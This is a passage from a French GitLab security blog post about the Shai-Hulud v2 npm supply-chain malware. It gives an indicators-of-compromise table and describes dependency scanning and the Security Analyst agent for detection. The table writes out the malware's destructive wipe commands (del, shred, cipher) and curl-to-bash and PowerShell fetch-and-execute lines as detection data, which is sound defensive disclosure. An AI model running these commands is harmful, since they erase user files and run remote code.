déclenche la suppression des données de l'utilisateur lorsqu'une neutralisation est détectée.\n\n\n## Indicateurs de compromission\n\n\nPour faciliter la détection et la réponse, vous retrouverez ci-dessous une liste plus complète des principaux indicateurs de compromission identifiés lors de notre analyse.\n\n\n| Type | Indicator | Description |\n| :---- | :---- | :---- |\n| **fichier** | `bun_environment.js` | Script post-installation malveillant dans les répertoires node_modules |\n| **répertoire** | `.truffler-cache/` | Répertoire caché créé dans le répertoire personnel de l'utilisateur pour le stockage du binaire Trufflehog |\n| **répertoire** | `.truffler-cache/extract/` | Répertoire temporaire utilisé pour l'extraction du binaire |\n| **fichier** | `.truffler-cache/trufflehog` | Binaire Trufflehog téléchargé (Linux/Mac) |\n| **fichier** | `.truffler-cache/trufflehog.exe` | Binaire Trufflehog téléchargé (Windows) |\n| **processus** | `del /F /Q /S \"%USERPROFILE%*\"` | Commande de charge utile destructrice Windows |\n| **processus** | `shred -uvz -n 1` | Commande de charge utile destructrice Linux/Mac |\n| **processus** | `cipher /W:%USERPROFILE%` | Commande de suppression sécurisée Windows dans la charge utile |\n| **commande** | `curl -fsSL https://bun.sh/install \\| bash` | Installation Bun suspecte pendant l'installation du paquet NPM |\n| **commande** | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | Installation de Bun sous Windows via PowerShell |\n## Comment GitLab peut-elle vous aider à détecter cette attaque ?\n\nSi vous utilisez GitLab Ultimate, vous pouvez exploiter les capacités de sécurité intégrées pour identifier immédiatement l'exposition liée à cette attaque au sein de vos projets.\n\nTout d'abord, activez l'[**analyse des dépendances**](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) pour analyser automatiquement les dépendances de votre projet par rapport aux bases de données de vulnérabilités connues. **Si des paquets infectés sont présents dans vos fichiers `package-lock.json` ou `yarn.lock`, l'analyse des dépendances les signalera dans les résultats de votre pipeline et dans le rapport de vulnérabilités.** Pour obtenir des instructions complètes de configuration, consultez notre [documentation](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer).\n\nUne fois activées, les merge requests qui introduisent un paquet compromis afficheront un avertissement avant que le code n'atteigne votre branche principale.\n\n**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** peut être également utilisé avec l'analyse des dépendances afin de vérifier rapidement l'exposition de votre projet sans naviguer dans les rapports.\n\nDans le menu déroulant, sélectionnez l'[agent Security Analyst](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) et posez des questions comme :\n* « Est-ce que l'une de mes dépendances est affectée par l'attaque de logiciels malveillants Shai-Hulud v2 ? »\n* « Ce projet a-t-il des vulnérabilités liées à la chaîne d'approvisionnement npm ? »\n* « Montre-moi les vulnérabilités critiques dans mes dépendances JavaScript. »\n\nL'agent interrogera les données de vulnérabilité de votre projet et fournira une réponse directe afin d'aider les équipes de sécurité à identifier rapidement les projets impactés.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png\" alt=\"Résultats de l'agent analyste de sécurité GitLab\">\n\nPour les équipes qui gèrent de nombreux dépôts, nous recommandons de combiner l'analyse des dépendances pour une détection automatisée continue dans le [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/) et l'agent Security Analyst pour des investigations ponctuelles et une réponse rapide lors d'incidents comme celui-ci.\n## Et après ?\n\nCette attaque représente une évolution dans les attaques de la chaîne d'approvisionnement, car la menace de dommages collatéraux devient le principal mécanisme de défense de l'infrastructure des attaquants. Nous poursuivons notre enquête et collaborons avec la communauté afin de comprendre l'étendue complète de cette attaque et de développer des stratégies de correction sûres.\n\nLes systèmes de détection automatisés de GitLab continuent de surveiller les nouvelles infections et les variantes de cette attaque. En partageant nos conclusions rapidement, nous espérons aider la communauté à répondre efficacement tout en évitant les pièges créés par le mécanisme d'autodestruction du logiciel malveillant.",{},"/fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":672,"ogImage":662,"title":673,"description":664},{"noIndex":11},"GitLab découvre une attaque sur npm","fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[676,660],"security-research","ZyrYy86_z_czNBNlLoCb4pA4T686j09XlqkGOyvLcfo",[],1773871222492]